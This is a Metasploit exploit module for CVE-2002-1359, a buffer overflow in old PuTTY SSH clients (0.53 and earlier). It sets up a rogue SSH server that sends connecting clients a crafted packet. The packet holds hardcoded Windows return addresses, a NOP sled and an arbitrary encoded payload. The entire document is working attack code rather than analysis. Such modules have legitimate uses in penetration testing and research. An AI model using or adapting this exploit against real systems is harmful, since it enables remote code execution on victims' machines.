PuTTY Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PuTTY Buffer Overflow',
      'Description'    => %q{
        This module exploits a buffer overflow in the PuTTY SSH client that is
        triggered through a validation error in SSH.c. This vulnerability
        affects versions 0.53 and earlier.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2002-1359' ],
          [ 'OSVDB', '8044'],
          [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
          [ 'BID', '6407'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'MaxNops'  => 0,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x76b43ae0 } ],
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2002-12-16',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
      ])
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer =
      "SSH-2.0-OpenSSH_3.6.1p2\r\n" +
      "\x00\x00\x4e\xec\x01\x14" +
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
      "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
      (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
      [target.ret].pack('V') + make_nops(10) + p.encoded +
      (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
      (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
      (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
      "\x00\x00\x00\x00\x00\x00"

    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

    client.put(buffer)
    handler

    service.close_client(client)
  end
end